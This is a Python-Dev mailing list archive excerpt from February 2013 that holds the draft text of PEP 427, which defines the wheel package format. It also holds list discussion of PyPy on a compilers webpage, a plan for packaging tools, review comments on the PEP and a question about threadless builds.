This is PEP 427: Wheel. A binary package format for Python. Because newegg
was taken.

Since the last submission, the signature specification has been made
clearly optional / informative and does not attempt to specify any specific
signing algorithm or how the signatures would fit into a security scheme
that would necessarily exist outside of a single archive. JWS signatures
are used in their current form by OpenID Connect and Mozilla Personas and
are a useful way to implement basically raw public or secret key
signatures. The embedded signature scheme in wheel should also not affect
the current effort to define end-to-end security for PyPI in any way; it
might be a useful complement for packages that are not hosted on PyPI at
all.

This version also does not depend on the in-process Metadata PEP 426. It
has been cleaned up in several places regarding which PEPs it references to
describe its contents. The WHEEL metadata file should contain all the
information in the wheel filename itself, and the non-alphanumeric/unicode
filename escaping rules are made official.

Thanks.

For your consideration,


PEP: 427
Title: The Wheel Binary Package Format 0.1
Version: $Revision$
Last-Modified: $Date$
Author: Daniel Holth <dholth at fastmail.fm>
BDFL-Delegate: Nick Coghlan <ncoghlan at gmail.com>
Discussions-To: <distutils-sig at python.org>
Status: Draft
Type: Standards Track
Content-Type: text/x-rst
Created: 20-Sep-2012
Post-History: 18-Oct-2012, 15-Feb-2013


Abstract
========

This PEP describes a built-package format for Python called "wheel".

A wheel is a ZIP-format archive with a specially formatted file name and
the ``.whl`` extension.  It contains a single distribution nearly as it
would be installed according to PEP 376 with a particular installation
scheme.  Although a specialized installer is recommended, a wheel file
may be installed by simply unpacking into site-packages with the standard
'unzip' tool while preserving enough information to spread its contents
out onto their final paths at any later time.


Note
====

This draft PEP describes version 0.1 of the "wheel" format. When the PEP
is accepted, the version will be changed to 1.0.  (The major version
is used to indicate potentially backwards-incompatible changes to the
format.)


Rationale
=========

Python needs a package format that is easier to install than sdist.
Python's sdist packages are defined by and require the distutils and
setuptools build systems, running arbitrary code to build-and-install,
and re-compile, code just so it can be installed into a new
virtualenv.  This system of conflating build-install is slow, hard to
maintain, and hinders innovation in both build systems and installers.

Wheel attempts to remedy these problems by providing a simpler
interface between the build system and the installer.  The wheel
binary package format frees installers from having to know about the
build system, saves time by amortizing compile time over many
installations, and removes the need to install a build system in the
target environment.


Details
=======

Installing a wheel 'distribution-1.0.py32.none.any.whl'
-------------------------------------------------------

Wheel installation notionally consists of two phases:

- Unpack.

  a. Parse ``distribution-1.0.dist-info/WHEEL``.
  b. Check that installer is compatible with Wheel-Version.  Warn if
     minor version is greater, abort if major version is greater.
  c. If Root-Is-Purelib == 'true', unpack archive into purelib
     (site-packages).
  d. Else unpack archive into platlib (site-packages).

- Spread.

  a. Unpacked archive includes ``distribution-1.0.dist-info/`` and (if
     there is data) ``distribution-1.0.data/``.
  b. Move each subtree of ``distribution-1.0.data/`` onto its
     destination path. Each subdirectory of ``distribution-1.0.data/``
     is a key into a dict of destination directories, such as
     ``distribution-1.0.data/(purelib|platlib|headers|scripts|data)``.
     The initially supported paths are taken from
     ``distutils.command.install``.
  c. If applicable, update scripts starting with ``#!python`` to point
     to the correct interpreter.
  d. Update ``distribution-1.0.dist.info/RECORD`` with the installed
     paths.
  e. Remove empty ``distribution-1.0.data`` directory.
  f. Compile any installed .py to .pyc. (Uninstallers should be smart
     enough to remove .pyc even if it is not mentioned in RECORD.)

Recommended installer features
''''''''''''''''''''''''''''''

Rewrite ``#!python``.
    In wheel, scripts are packaged in
    ``{distribution}-{version}.data/scripts/``.  If the first line of
    a file in ``scripts/`` starts with exactly ``b'#!python'``, rewrite to
    point to the correct interpreter.  Unix installers may need to add
    the +x bit to these files if the archive was created on Windows.

Generate script wrappers.
    In wheel, scripts packaged on Unix systems will certainly not have
    accompanying .exe wrappers.  Windows installers may want to add them
    during install.


File Format
-----------

File name convention
''''''''''''''''''''

The wheel filename is ``{distribution}-{version}(-{build
tag})?-{python tag}-{abi tag}-{platform tag}.whl``.

distribution
    Distribution name, e.g. 'django', 'pyramid'.

version
    Distribution version, e.g. 1.0.

build tag
    Optional build number.  Must start with a digit.  A tie breaker
    if two wheels have the same version.  Sort as the empty string
    if unspecified, else sort the initial digits as a number, and the
    remainder lexicographically.

language implementation and version tag
    E.g. 'py27', 'py2', 'py3'.

abi tag
    E.g. 'cp33m', 'abi3', 'none'.

platform tag
    E.g. 'linux_x86_64', 'any'.

For example, ``distribution-1.0-1-py27-none-any.whl`` is the first
build of a package called 'distribution', and is compatible with
Python 2.7 (any Python 2.7 implementation), with no ABI (pure Python),
on any CPU architecture.

The last three components of the filename before the extension are
called "compatibility tags."  The compatibility tags express the
package's basic interpreter requirements and are detailed in PEP 425.

Escaping and Unicode
''''''''''''''''''''

Each component of the filename is escaped by replacing runs of
non-alphanumeric characters with an underscore ``_``::

    re.sub("[^\w\d.]+", "_", distribution, re.UNICODE)

The filename is Unicode.  It will be some time before the tools are
updated to support non-ASCII filenames, but they are supported in this
specification.

File contents
'''''''''''''

The contents of a wheel file, where {distribution} is replaced with the
name of the package, e.g. ``beaglevote`` and {version} is replaced with
its version, e.g. ``1.0.0``, consist of:

#. ``/``, the root of the archive, contains all files to be installed in
   ``purelib`` or ``platlib`` as specified in ``WHEEL``.  ``purelib`` and
   ``platlib`` are usually both ``site-packages``.
#. ``{distribution}-{version}.dist-info/`` contains metadata.
#. ``{distribution}-{version}.data/`` contains one subdirectory
   for each non-empty install scheme key not already covered, where
   the subdirectory name is an index into a dictionary of install paths
   (e.g. ``data``, ``scripts``, ``include``, ``purelib``, ``platlib``).
#. Python scripts must appear in ``scripts`` and begin with exactly
   ``b'#!python'`` in order to enjoy script wrapper generation and
   ``#!python`` rewriting at install time.  They may have any or no
   extension.
#. ``{distribution}-{version}.dist-info/METADATA`` is Metadata version 1.1
   or greater (PEP 314, PEP 345, PEP 426) format metadata.
#. ``{distribution}-{version}.dist-info/WHEEL`` is metadata about the
archive
   itself in the same basic key: value format::

       Wheel-Version: 0.1
       Generator: bdist_wheel 0.7
       Root-Is-Purelib: true
       Tag: py2-none-any
       Tag: py3-none-any
       Build: 1

#. ``Wheel-Version`` is the version number of the Wheel specification.
   ``Generator`` is the name and optionally the version of the software
   that produced the archive. ``Root-Is-Purelib`` is true if the top
   level directory of the archive should be installed into purelib;
   otherwise the root should be installed into platlib. ``Tag`` is the
   wheel's expanded compatibility tags; in the example the filename would
   contain ``py2.py3-none-any``. ``Build`` is the build number and is
   omitted if there is no build number.
#. A wheel installer should warn if Wheel-Version is greater than the
   version it supports, and must fail if Wheel-Version has a greater
   major version than the version it supports.
#. Wheel, being an installation format that is intended to work across
   multiple versions of Python, does not generally include .pyc files.
#. Wheel does not contain setup.py or setup.cfg.

This version of the wheel specification is based on the distutils install
schemes and does not define how to install files to other locations.
The layout offers a superset of the functionality provided by the existing
wininst and egg binary formats.


The .dist-info directory
^^^^^^^^^^^^^^^^^^^^^^^^

#. Wheel .dist-info directories include at a minimum METADATA, WHEEL,
   and RECORD.
#. METADATA is the package metadata, the same format as PKG-INFO as
   found at the root of sdists.
#. WHEEL is the wheel metadata specific to a build of the package.
#. RECORD is a list of (almost) all the files in the wheel and their
   secure hashes.  Unlike PEP 376, every file except RECORD, which
   cannot contain a hash of itself, must include its hash.  The hash
   algorithm must be sha256 or better; specifically, md5 and sha1 are
   not permitted, as signed wheel files rely on the strong hashes in
   RECORD to validate the integrity of the archive.
#. PEP 376's INSTALLER and REQUESTED are not included in the archive.
#. RECORD.jws is used for digital signatures.  It is not mentioned in
   RECORD.
#. RECORD.p7s is allowed as a courtesy to anyone who would prefer to
   use S/MIME signatures to secure their wheel files.  It is not
   mentioned in RECORD.
#. During extraction, wheel installers verify all the hashes in RECORD
   against the file contents.  Apart from RECORD and its signatures,
   installation will fail if any file in the archive is not both
   mentioned and correctly hashed in RECORD.


The .data directory
^^^^^^^^^^^^^^^^^^^

Any file that is not normally installed inside site-packages goes into
the .data directory, named as the .dist-info directory but with the
.data/ extension::

    distribution-1.0.dist-info/

    distribution-1.0.data/

The .data directory contains subdirectories with the scripts, headers,
documentation and so forth from the distribution.  During installation the
contents of these subdirectories are moved onto their destination paths.


Signed wheel files
------------------

Wheel files include an extended RECORD that enables digital
signatures.  PEP 376's RECORD is altered to include a secure hash
``digestname=urlsafe_b64encode_nopad(digest)`` (urlsafe base64
encoding with no trailing = characters) as the second column instead
of an md5sum.  All possible entries are hashed, including any
generated files such as .pyc files, but not RECORD which cannot contain its
own hash. For example::

    file.py,sha256=AVTFPZpEKzuHr7OvQZmhaU3LvwKz06AJw8mT\_pNh2yI,3144
    distribution-1.0.dist-info/RECORD,,

The signature file(s) RECORD.jws and RECORD.p7s are not mentioned in
RECORD at all since they can only be added after RECORD is generated.
Every other file in the archive must have a correct hash in RECORD
or the installation will fail.

If JSON web signatures are used, one or more JSON Web Signature JSON
Serialization (JWS-JS) signatures is stored in a file RECORD.jws adjacent
to RECORD.  JWS is used to sign RECORD by including the SHA-256 hash of
RECORD as the signature's JSON payload::

    { "hash": "sha256=ADD-r2urObZHcxBW3Cr-vDCu5RJwT4CaRTHiFmbcIYY" }

If RECORD.p7s is used, it must contain a detached S/MIME format signature
of RECORD.

A wheel installer is not required to understand digital signatures but
MUST verify the hashes in RECORD against the extracted file contents.
When the installer checks file hashes against RECORD, a separate signature
checker only needs to establish that RECORD matches the signature.

See

- http://self-issued.info/docs/draft-ietf-jose-json-web-signature.html
- http://self-issued.info/docs/draft-jones-jose-jws-json-serialization.html
- http://self-issued.info/docs/draft-ietf-jose-json-web-key.html
- http://self-issued.info/docs/draft-jones-jose-json-private-key.html


Comparison to .egg
------------------

#. Wheel is an installation format; egg is importable.  Wheel archives
   do not need to include .pyc and are less tied to a specific Python
   version or implementation. Wheel can install (pure Python) packages
   built with previous versions of Python so you don't always have to
   wait for the packager to catch up.
#. Wheel uses .dist-info directories; egg uses .egg-info.  Wheel is
   compatible with the new world of Python packaging and the new
   concepts it brings.
#. Wheel has a richer file naming convention for today's
   multi-implementation world.  A single wheel archive can indicate
   its compatibility with a number of Python language versions and
   implementations, ABIs, and system architectures.  Historically the
   ABI has been specific to a CPython release, wheel is ready for the
   stable ABI.
#. Wheel is lossless.  The first wheel implementation bdist_wheel
   always generates egg-info, and then converts it to a .whl.  It is
   also possible to convert existing eggs and bdist_wininst
   distributions.
#. Wheel is versioned.  Every wheel file contains the version of the
   wheel specification and the implementation that packaged it.
   Hopefully the next migration can simply be to Wheel 2.0.
#. Wheel is a reference to the other Python.


FAQ
===

Wheel defines a .data directory.  Should I put all my data there?
    This specification does not have an opinion on how you should organize
    your code.  The .data directory is just a place for any files that are
    not normally installed inside ``site-packages`` or on the PYTHONPATH.
    In other words, you may continue to use ``pkgutil.get_data(package,
    resource)`` even though *those* files will usually not be distributed
    in *wheel's* ``.data`` directory.

Why does wheel include attached signatures?
    Attached signatures are more convenient than detached signatures
    because they travel with the archive.  Since only the individual files
    are signed, the archive can be recompressed without invalidating
    the signature or individual files can be verified without having
    to download the whole archive.

Why does wheel allow JWS signatures?
    The JOSE specifications of which JWS is a part are designed to be easy
    to implement, a feature that is also one of wheel's primary design
    goals.  JWS yields a useful, concise pure-Python implementation.

Why does wheel also allow S/MIME signatures?
    S/MIME signatures are allowed for users who need or want to use
    existing public key infrastructure with wheel.

    Signed packages are only a basic building block in a secure package
    update system.  Wheel only provides the building block.

Appendix
========

Example urlsafe-base64-nopad implementation::

    # urlsafe-base64-nopad for Python 3
    import base64

    def urlsafe_b64encode_nopad(data):
        return base64.urlsafe_b64encode(data).rstrip(b'=')

    def urlsafe_b64decode_nopad(data):
        pad = b'=' * (4 - (len(data) & 3))
        return base64.urlsafe_b64decode(data + pad)


Copyright
=========

This document has been placed into the public domain.



..
   Local Variables:
   mode: indented-text
   indent-tabs-mode: nil
   sentence-end-double-space: t
   fill-column: 70
   coding: utf-8
   End:
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130215/e942a006/attachment.html>

From stefan_ml at behnel.de  Sat Feb 16 06:41:18 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Sat, 16 Feb 2013 06:41:18 +0100
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
In-Reply-To: <CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>
References: <201302152244.14912.paul@boddie.org.uk>
	<kfmd9o$cp9$1@ger.gmane.org>
	<CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>
Message-ID: <kfn65q$8u2$1@ger.gmane.org>

Philip Jenvey, 16.02.2013 01:01:
> On Fri, Feb 15, 2013 at 2:36 PM, Stefan Behnel wrote:
>> So, while I agree that PyPy is worth a try in certain application areas,
>> and can be helpful for some special needs, also in the field of scientific
>> computing, it's lightyears away from a production-ready state in that area.
>> It just doesn't integrate with the huge bulk of software that people use in
>> their daily work. And once you rely on that software, which is hand tuned,
>> well integrated and real-world proven in so many ways, over the time span
>> of way more than a decade, the most visible advantage of PyPy to make
>> Python code run faster becomes almost pointless. In that light, telling
>> people to try PyPy and to drop (most of) their current ecosystem for it
>> doesn't really sound helpful and clearly appears outside of the focus of
>> the web site in question.
> 
> I disagree that it's pointless. Numba disagrees too: it also attempts to
> make Python code faster.

That's not even the main goal AFAIK, but in any case, it does it from the
very inside of the existing ecosystem, like all of the compilers (and
related software) that are listed on the website. That's the whole point.


> PyPy is indeed a work in progress in this area, but that doesn't
> necessarily preclude it from being included.

That may be a matter of POV, but as long as PyPy fails to integrate (and
you just called that "not a main focus"), I find it hard to defend its
relevance.

Stefan



From steve at pearwood.info  Sat Feb 16 07:13:03 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Sat, 16 Feb 2013 17:13:03 +1100
Subject: [Python-Dev] A new webpage promoting Compiler technology for
 CPython
In-Reply-To: <kfn65q$8u2$1@ger.gmane.org>
References: <201302152244.14912.paul@boddie.org.uk>
	<kfmd9o$cp9$1@ger.gmane.org>
	<CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>
	<kfn65q$8u2$1@ger.gmane.org>
Message-ID: <511F236F.70800@pearwood.info>

On 16/02/13 16:41, Stefan Behnel wrote:

>> PyPy is indeed a work in progress in this area, but that doesn't
>> necessarily preclude it from being included.
>
> That may be a matter of POV, but as long as PyPy fails to integrate (and
> you just called that "not a main focus"), I find it hard to defend its
> relevance.

Stefan, you're talking about a website which lists projects such as a Forth-
like language in Python, a bytecode transformer, a project "Peregine-Falcon"
which appears to be a one-man experimental implementation of Python in C++,
ByteRun, a "pure-Python implementation of a Python bytecode execution
virtual machine", and SPARK, which has been stuck in version 0.7 pre-alpha
for years. I am astonished that you think PyPy is too immature or niche for
this list.


http://compilers.pydata.org/



-- 
Steven

From stefan_ml at behnel.de  Sat Feb 16 08:14:33 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Sat, 16 Feb 2013 08:14:33 +0100
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
In-Reply-To: <511F236F.70800@pearwood.info>
References: <201302152244.14912.paul@boddie.org.uk>
	<kfmd9o$cp9$1@ger.gmane.org>
	<CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>
	<kfn65q$8u2$1@ger.gmane.org> <511F236F.70800@pearwood.info>
Message-ID: <kfnbkm$dv5$1@ger.gmane.org>

Steven D'Aprano, 16.02.2013 07:13:
> On 16/02/13 16:41, Stefan Behnel wrote:
> 
>>> PyPy is indeed a work in progress in this area, but that doesn't
>>> necessarily preclude it from being included.
>>
>> That may be a matter of POV, but as long as PyPy fails to integrate (and
>> you just called that "not a main focus"), I find it hard to defend its
>> relevance.
> 
> Stefan, you're talking about a website which lists projects such as a Forth-
> like language in Python, a bytecode transformer, a project "Peregine-Falcon"
> which appears to be a one-man experimental implementation of Python in C++,
> ByteRun, a "pure-Python implementation of a Python bytecode execution
> virtual machine", and SPARK, which has been stuck in version 0.7 pre-alpha
> for years. I am astonished that you think PyPy is too immature or niche for
> this list.
> 
> http://compilers.pydata.org/

Hmm, I don't have the feeling that this discussion is leading anywhere
(especially not on this list). After all, it's quite possible to fire up a
PyPy runtime from a CPython runtime and have them talk to each other,
letting each one do what it's good at. That doesn't make PyPy a "compiler
for CPython", but at least it means that it doesn't fail completely to
integrate with the rest of the world.

There are arguments for both sides, which means in dubio pro reo, I guess.

Stefan



From ncoghlan at gmail.com  Sat Feb 16 08:28:20 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 16 Feb 2013 17:28:20 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAOTD34be7+1T6aAHbUMGAZPga=wXMc+VSB8VbWZ04yUJpOBHPA@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<510EB551.8050705@netwok.org>
	<loom.20130203T232001-6@post.gmane.org>
	<CAOTD34be7+1T6aAHbUMGAZPga=wXMc+VSB8VbWZ04yUJpOBHPA@mail.gmail.com>
Message-ID: <CADiSq7c_yMgEM_X4i2X1qnEcWd0TfXum_nD6JpiQh20vpmPj=A@mail.gmail.com>

On Sat, Feb 16, 2013 at 3:27 AM, Erik Bray <erik.m.bray at gmail.com> wrote:
> TL;DR, strong -1 on the stdlib "getting out of the build business".
> Also as I think Nick already mentioned one of the wins of
> Setup-Requires-Dist is to have a standard way to bring in extra build
> requirements (such as bento) so if we have better support for a
> feature like that it's not necessary to "bless" any preferred tool.

I've described below where I personally hope we can get to by the time
of Python 3.4.

Please, if anyone has any comments on the below, send them to me via
private email. I am only publishing this half-baked version to allay
any concerns people may have that distutils itself might be going away
in the foreseeable future (such concerns are perfectly understandable,
given the many harsh things that have been said about distutils and
the use of setup.py to drive the build process).

(I plan to flesh this out further before the packaging & distribution
mini-summit at PyCon US, but it already reflects the general scheme I
had in the back of my mind when I decided to step up as BDFL-delegate
for Daniel's three PEPs related to the wheel format. There are
obviously lots of details to be worked out on distutils-sig and
catalog-sig, but the big advantage it has over the approach tried with
distutils2 is that individual projects shouldn't have to change much
of anything - this scheme is designed to work so long as I can
convince at least the setuptools, distribute, distutils2, pip, bento
and zc.buildout developers to support it. End users would just need to
update to recent versions of their preferred tools or, in the case of
current users of plain distutils, upgrade to setuptools/distribute or
use the "pip wheel" subcommand to get wheel support in older versions
of Python)

Components:
    Archiver: creates sdist source archives for distribution
    Builder: creates wheel binary archives for installation or distribution
    Uploader: tool for publishing to PyPI and private index servers
    Installer: retrieves archives (and their dependencies) and
installs them on a target system

Proposed flow for source distribution:
    Development System:
        -> Source checkout
        -> Installer -> Setup-Requires-Dist dependencies
        -> Archiver -> sdist
        -> Uploader -> PyPI (or private index server)
    Target System:
        -> Installer -> sdist + Setup-Requires-Dist dependencies
        -> Builder -> wheel
        -> Installer -> installed software + Requires-Dist dependencies

Proposed flow for binary distribution:
    Development System:
        -> Source checkout
        -> Installer -> Setup-Requires-Dist dependencies
        -> Archiver -> sdist
        -> Builder -> wheel
        -> Uploader -> PyPI (or private index server)
    Target System:
        -> Installer -> installed software + Requires-Dist dependencies

Standard library (3.4):
    distlib: tools to create Archivers, Uploaders, Builders and Installers
    pydist: Uploader/Installer CLI
    distutils: Archiver/Builder CLI (via setup.py)
       (setup.py will also continue to function as a limited
Uploader/Installer CLI)

Alternate Archiver/Builder tools:
    setuptools, distribute, distutils2, bento (and various custom
distutils derivatives)

Alternate Installer tools:
    pip, easy_install, zc.buildout

The pydist CLI would likely be deliberately limited to installation
from wheel binary archives. The officially recommended approach to
supporting installation from sdist on systems which do not provide pip
preinstalled would then be "pydist install pip".

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sat Feb 16 08:49:04 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 16 Feb 2013 17:49:04 +1000
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
In-Reply-To: <kfnbkm$dv5$1@ger.gmane.org>
References: <201302152244.14912.paul@boddie.org.uk>
	<kfmd9o$cp9$1@ger.gmane.org>
	<CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>
	<kfn65q$8u2$1@ger.gmane.org> <511F236F.70800@pearwood.info>
	<kfnbkm$dv5$1@ger.gmane.org>
Message-ID: <CADiSq7cwjZP_M59T1NWkdcVTLrm=y1QFHuxu3g0iR+xdZFofdg@mail.gmail.com>

On Sat, Feb 16, 2013 at 5:14 PM, Stefan Behnel <stefan_ml at behnel.de> wrote:
> Hmm, I don't have the feeling that this discussion is leading anywhere
> (especially not on this list). After all, it's quite possible to fire up a
> PyPy runtime from a CPython runtime and have them talk to each other,
> letting each one do what it's good at. That doesn't make PyPy a "compiler
> for CPython", but at least it means that it doesn't fail completely to
> integrate with the rest of the world.
>
> There are arguments for both sides, which means in dubio pro reo, I guess.

If anyone is interested in fast Python code that integrates cleanly
with external C libraries, then the combination of PyPy and cffi
(http://cffi.readthedocs.org/en/latest/) should definitely be on their
list of candidates to consider. Now, it may be excluded quickly
because there's a CPython extension involved in the project that isn't
a trivial wrapper around an existing non-Python library (and thus
can't be easily replaced with cffi), but that's no excuse for not at
least considering the combination in the cases where it makes sense.

Yes, the PyPy team and scientific users of Python have a long history
of talking past each other (and abusing each other for the mutual lack
of understanding). However, that's no excuse for deliberately ignoring
the advantages JIT compilation can bring, when cffi has been created
specifically to give PyPy a typesafe (and JIT-transparent) way to
interface with any library that provides C bindings.

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From stefan_ml at behnel.de  Sat Feb 16 09:03:12 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Sat, 16 Feb 2013 09:03:12 +0100
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
In-Reply-To: <CADiSq7cwjZP_M59T1NWkdcVTLrm=y1QFHuxu3g0iR+xdZFofdg@mail.gmail.com>
References: <201302152244.14912.paul@boddie.org.uk>
	<kfmd9o$cp9$1@ger.gmane.org>
	<CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>
	<kfn65q$8u2$1@ger.gmane.org> <511F236F.70800@pearwood.info>
	<kfnbkm$dv5$1@ger.gmane.org>
	<CADiSq7cwjZP_M59T1NWkdcVTLrm=y1QFHuxu3g0iR+xdZFofdg@mail.gmail.com>
Message-ID: <kfneft$6rg$1@ger.gmane.org>

Nick Coghlan, 16.02.2013 08:49:
> Yes, the PyPy team and scientific users of Python have a long history
> of talking past each other (and abusing each other for the mutual lack
> of understanding). However, that's no excuse for deliberately ignoring
> the advantages JIT compilation can bring

No-one's ignoring that. Philip already mentioned Numba, for example. The
only question is whether this needs to happen outside of the existing
ecosystem, or if we can't just embrace the 95-to-5 rule and use the right
tools just for the performance critical bits of our code, without
sacrificing what we achieved in the last 20 years.

Stefan



From fijall at gmail.com  Sat Feb 16 10:15:06 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Sat, 16 Feb 2013 11:15:06 +0200
Subject: [Python-Dev] A new webpage promoting Compiler technology for
	CPython
In-Reply-To: <kfneft$6rg$1@ger.gmane.org>
References: <201302152244.14912.paul@boddie.org.uk>
	<kfmd9o$cp9$1@ger.gmane.org>
	<CAJUk6tv5gXryK9SCv8Y5TxJ6oEfNvvcCU9Yi9r4KRxovsY8Ngg@mail.gmail.com>
	<kfn65q$8u2$1@ger.gmane.org> <511F236F.70800@pearwood.info>
	<kfnbkm$dv5$1@ger.gmane.org>
	<CADiSq7cwjZP_M59T1NWkdcVTLrm=y1QFHuxu3g0iR+xdZFofdg@mail.gmail.com>
	<kfneft$6rg$1@ger.gmane.org>
Message-ID: <CAK5idxQVcDL139-LCVrrn3JL69Vod-FmpVh6Bdm9WWf7y9Ws5g@mail.gmail.com>

On Sat, Feb 16, 2013 at 10:03 AM, Stefan Behnel <stefan_ml at behnel.de> wrote:
> Nick Coghlan, 16.02.2013 08:49:
>> Yes, the PyPy team and scientific users of Python have a long history
>> of talking past each other (and abusing each other for the mutual lack
>> of understanding). However, that's no excuse for deliberately ignoring
>> the advantages JIT compilation can bring
>
> No-one's ignoring that. Philip already mentioned Numba, for example. The
> only question is whether this needs to happen outside of the existing
> ecosystem, or if we can't just embrace the 95-to-5 rule and use the right
> tools just for the performance critical bits of our code, without
> sacrificing what we achieved in the last 20 years.
>
> Stefan

Hi Stefan.

I'm sorry PyPy does not cater for your needs, by being not like
CPython. This is a conscious decision that Armin made after the psyco
experiment and this is the one you disagree with, but it also allows
us to do cool stuff, whether you like it or not. I understand it might
be frustrating and I understand you guys simply don't like us for
that. I also understand that people would love to promote their own
work, that's fine too.

CPyext is hard not because PyPy is undebuggable, but because the
problem to solve (be not like CPython, but look like CPython) is a
hard one. Until we come up with an idea how to make it so most CPython
C extensions work out of the box and don't need careful refcount
fixes, the focus is indeed not that major.

However, considering this, the discussion of a website listing random
projects from useful to outright obscure does not belong to
python-dev, please take it somewhere else.

Cheers,
fijal

From ncoghlan at gmail.com  Sat Feb 16 10:18:22 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 16 Feb 2013 19:18:22 +1000
Subject: [Python-Dev] PEP 427: wheel
In-Reply-To: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
References: <CAG8k2+6v5Gqh=Fe10whzcjpitUwDSDC8frcxb12bbRG1ssbLLQ@mail.gmail.com>
Message-ID: <CADiSq7eP5J0+xVDw91C5XOEKbDOcuLsGcSkVsLYbZKJ5rKNZhg@mail.gmail.com>

On Sat, Feb 16, 2013 at 2:21 PM, Daniel Holth <dholth at gmail.com> wrote:
> #. Python scripts must appear in ``scripts`` and begin with exactly
>    ``b'#!python'`` in order to enjoy script wrapper generation and
>    ``#!python`` rewriting at install time.  They may have any or no
>    extension.

For compatibility with file encoding declarations, I believe this
needs to be relaxed to starting with '#!python' in the source file
encoding, rather than strictly b'#!python' (which will only be the
case for ASCII compatible encodings).

My rationale is that installers are going to need to read the source
file encoding for the scripts anyway, otherwise they may write the
shebang line back out with the wrong encoding, potentially leading to
decoding errors when attempting to run the script.

> #. ``{distribution}-{version}.dist-info/METADATA`` is Metadata version 1.1
>    or greater (PEP 314, PEP 345, PEP 426) format metadata.

I suggest removing the PEP references here and simply saying "is
Metadata version 1.1 or greater format metadata"

> #. ``Wheel-Version`` is the version number of the Wheel specification.
>    ``Generator`` is the name and optionally the version of the software
>    that produced the archive. ``Root-Is-Purelib`` is true if the top
>    level directory of the archive should be installed into purelib;
>    otherwise the root should be installed into platlib. ``Tag`` is the
>    wheel's expanded compatibility tags; in the example the filename would
>    contain ``py2.py3-none-any``. ``Build`` is the build number and is
>    omitted if there is no build number.

I suggest breaking these out into separate bullet points (they're a
bit hard to read as they stand)

Aside from those minor issues, the current version of the spec looks
fine to me - upload those fixes and I will accept it. If we later need
to define wheel 1.1 or 2.0 to handle additional situations, well,
that's why it's a versioned format :)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From stefan at bytereef.org  Sat Feb 16 10:57:14 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Sat, 16 Feb 2013 10:57:14 +0100
Subject: [Python-Dev] Point of building without threads?
In-Reply-To: <1357637305.2857.54.camel@newpride>
References: <20120507214943.579045c2@pitrou.net>
	<1357637305.2857.54.camel@newpride>
Message-ID: <20130216095714.GA8002@sleipnir.bytereef.org>

Yury V. Zaytsev <yury at shurup.com> wrote:
> On Mon, 2012-05-07 at 21:49 +0200, Antoine Pitrou wrote:
> > 
> > I guess a long time ago, threading support in operating systems wasn't
> > very widespread, but these days all our supported platforms have it.
> > Is it still useful for production purposes to configure
> > --without-threads? Do people use this option for something else than
> > curiosity of mind? 
> 
> I hope that the intent behind asking this question was more of being
> curious, rather then considering dropping --without-threads:
> unfortunately, multithreading was, still is and probably will remain
> troublesome on many supercomputing platforms.
> 
> Often, once a new supercomputer is launched, as a developer you get a
> half-baked C/C++ compiler with threading support broken to the point
> when it's much easier to not use it altogether [*] rather than trying to
> work around the compiler quirks.

Out of curiosity: Do these incomplete compilers have any problem with either                            
stdint.h or static inline functions in header files?                                                    


Stefan Krah



From ncoghlan at gmail.com  Sat Feb 16 11:06:46 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 16 Feb 2013 20:06:46 +1000
Subject: [Python-Dev] Submitting PEP 425 (compatibility tags)
In-Reply-To: <CAG8k2+5M6XS5CX4BYDYtJ15rqMs+7D8SOdZZW7jYRi0apE8Dug@mail.gmail.com>
References: <CAG8k2+5M6XS5CX4BYDYtJ15rqMs+7D8SOdZZW7jYRi0apE8Dug@mail.gmail.com>
